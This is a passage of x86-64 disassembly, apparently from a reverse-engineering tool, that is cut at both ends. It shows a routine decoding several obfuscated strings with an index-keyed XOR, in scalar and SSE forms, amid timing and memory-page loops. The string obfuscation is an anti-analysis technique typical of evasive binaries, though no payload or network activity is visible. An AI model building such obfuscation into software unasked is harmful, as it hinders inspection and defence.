movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x20
jl 0x14001e361
cmp r8d, 0x23
jge 0x14001e4a3
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x14001e470
lea rcx, [rbp + 0x80]
call fcn.1400021c0
lea rcx, [rbp + 0x50]
call fcn.1400032e0
mov rbx, qword [rax]
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0x50], xmm1
mov qword [rbp - 0x40], rax
mov word [rsp + 0x50], 1
mov qword [rsp + 0x58], r13
mov eax, dword [rbp + 0x5e0]
mov dword [rsp + 0x54], eax
mov byte [rsp + 0x52], 0xf
mov rax, qword [rbp + 0x5d0]
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x40], xmm1
movups xmmword [rax + 0x50], xmm1
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [rbp - 0x40]
movsd qword [rax + 0x70], xmm0
mov rax, qword [rbp + 0x5d0]
movups xmm3, xmmword [rax + 0x10]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rbp - 0x50], xmm0
movsd xmm1, qword [rax + 0x70]
movsd qword [rbp - 0x40], xmm1
mov rax, qword [rax]
shr rax, 8
test al, al
jne 0x14001e5b8
mov qword [rbp + 0x50], 1
lea rcx, [rbp + 0x50]
call fcn.140003ff0
mov rax, qword [rbp + 0x5d0]
movups xmm3, xmmword [rax + 0x10]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rbp - 0x50], xmm0
movsd xmm1, qword [rax + 0x70]
movsd qword [rbp - 0x40], xmm1
mov rax, qword [rax]
shr rax, 8
test al, al
je 0x14001e566
movq rsi, xmm3
mov qword [rbp + 0x8b0], rsi
lea rcx, [rbp + 0x50]
call fcn.1400032e0
mov rcx, qword [rax]
sub rcx, rbx
mov rax, r12
imul rcx
mov rcx, rdx
sar rcx, 0x12
mov rax, rcx
shr rax, 0x3f
add rcx, rax
movups xmm0, xmmword [0x140029fd0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029fe0]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x140029ff0]
movsd qword [rbp + 0xa0], xmm0
mov eax, dword [0x140029ff8]
mov dword [rbp + 0xa8], eax
movzx eax, byte [0x140029ffc]
mov byte [rbp + 0xac], al
mov r8d, edi
cmp r15d, 2
jl 0x14001e749
movdqa xmmword [rbp + 0x40], xmm10
lea rdx, [rbp + 0x80]
mov r9d, r14d
mov r10d, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add r8d, 8
lea rdx, [rdx + 8]
add r9d, 8
cmp r8d, 0x28
jl 0x14001e650
cmp r8d, 0x2d
jge 0x14001e793
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001e760
mov rdx, rcx
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [0x140029c98]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029ca8]
movups xmmword [rbp + 0x90], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14001e919
mov r8d, edi
cmp r15d, 2
jl 0x14001e8e3
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov r8d, r14d
mov r9d, dword [rbp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x14001e7f2
jmp 0x14001e919
lea r9, [rbp + 0x80]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14001e8f0
mov rdx, rsi
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [0x140029380]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029390]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1400293a0]
movups xmmword [rbp + 0xa0], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x14001ea71
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov r8d, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x14001e980
jmp 0x14001eaa9
lea r9, [rbp + 0x80]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x14001ea80
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm2, xmmword [str.K_HSQHV.b7_2g_______a]
movups xmmword [rbp + 0xd8], xmm2
movsd xmm0, qword [0x140029df8]
movsd qword [rbp + 0xe8], xmm0
movzx eax, word [0x140029e00]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140029e02]
mov byte [rbp + 0xf2], al
mov r8d, edi
cmp r15d, 2
jl 0x14001ed98
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xd8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm2, xmm1
movd dword [rbp + 0xe0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
movdqa xmm3, xmmword [0x140030d20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm3, xmm1
movd dword [rbp + 0xec], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x14001edb0
lea rcx, [rbp + 0xd8]
call fcn.1400021c0
lea rcx, [rbp + 0x50]
call fcn.1400032e0
mov rbx, qword [rax]
mov r12, rdi
lea rsi, [r13 + 0x1000]
mov r13d, 0x19
mov rcx, qword [rbp + 0x5d0]
nop dword [rax]
nop word [rax + rax]
mov dword [rbp + 0xd0], edi
xorps xmm2, xmm2
xor eax, eax
movups xmmword [rsp + 0x50], xmm2
movups xmmword [rsp + 0x70], xmm2
movups xmmword [rbp - 0x80], xmm2
mov qword [rbp - 0x40], rax
mov word [rsp + 0x50], 1
lea rax, [rsi - 0xdb0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], r14
mov eax, dword [rbp + 0x5e0]
mov dword [rsp + 0x54], eax
mov byte [rsp + 0x52], 0
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm2
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm2
movups xmmword [rcx + 0x50], xmm2
movups xmmword [rcx + 0x60], xmm2
movsd xmm0, qword [rbp - 0x40]
movsd qword [rcx + 0x70], xmm0
mov rcx, qword [rbp + 0x5d0]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rcx + 0x60]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [rcx + 0x70]
movsd qword [rbp - 0x40], xmm0
mov rax, qword [rcx]
shr rax, 8
test al, al
jne 0x14001ef57
mov qword [rbp + 0x50], 1
nop dword [rax + rax]
lea rcx, [rbp + 0x50]
call fcn.140003ff0
mov rcx, qword [rbp + 0x5d0]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rcx + 0x60]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [rcx + 0x70]
movsd qword [rbp - 0x40], xmm0
mov rax, qword [rcx]
shr rax, 8
test al, al
je 0x14001ef00
cmp dword [rbp + 0xd0], 0x6f41c00
cmove r12, rsi
add rsi, 0x1000
sub r13, 1
jne 0x14001ee20
lea rcx, [rbp + 0x50]
call fcn.1400032e0
mov rcx, qword [rax]
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
mov rcx, rdx
sar rcx, 0x12
mov rax, rcx
shr rax, 0x3f
add rcx, rax
movups xmm0, xmmword [0x14002a0e8]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x14002a0f8]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x14002a108]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x14002a10c]
mov byte [rbp + 0xa4], al
mov r8d, edi
cmp r15d, 2
jl 0x14001f0f9
movdqa xmmword [rbp + 0x40], xmm10
lea rdx, [rbp + 0x80]
mov r9d, r14d
mov r10d, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add r8d, 8
lea rdx, [rdx + 8]
add r9d, 8
cmp r8d, 0x20
jl 0x14001f000
cmp r8d, 0x25
jge 0x14001f143
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14001f110
mov rdx, rcx
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm2, xmmword [0x140029fb8]
movups xmmword [rbp + 0x128], xmm2
movsd xmm0, qword [0x140029fc8]
movsd qword [rbp + 0x138], xmm0
cmp byte [0x140029fcf], 0
je 0x14001f459
mov r8d, edi
cmp r15d, 2
jl 0x14001f423
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x128], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x130]
xorps xmm2, xmm1
movd dword [rbp + 0x130], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x134]
xorps xmm2, xmm1
movd dword [rbp + 0x134], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x138]
xorps xmm2, xmm1
movd dword [rbp + 0x138], xmm2
movdqa xmm3, xmmword [0x140030d20]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm3, xmm1
movd dword [rbp + 0x13c], xmm3
jmp 0x14001f459
lea r9, [rbp + 0x128]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14001f430
mov rdx, r12
lea rcx, [rbp + 0x128]
call fcn.1400021c0
movups xmm0, xmmword [0x140029380]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029390]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x1400293a0]
movups xmmword [rbp + 0xa0], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x14001f5b1
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov r8d, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x30
jl 0x14001f4c0
jmp 0x14001f5e9
lea r9, [rbp + 0x80]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x14001f5c0
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [str.NUNPY]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029e18]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140029e28]
movups xmmword [rbp + 0xa0], xmm0
mov eax, dword [0x140029e38]
mov dword [rbp + 0xb0], eax
movzx eax, word [0x140029e3c]
mov word [rbp + 0xb4], ax
mov r8d, edi
cmp r15d, 2
jl 0x14001f758
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, r14d
mov r9d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
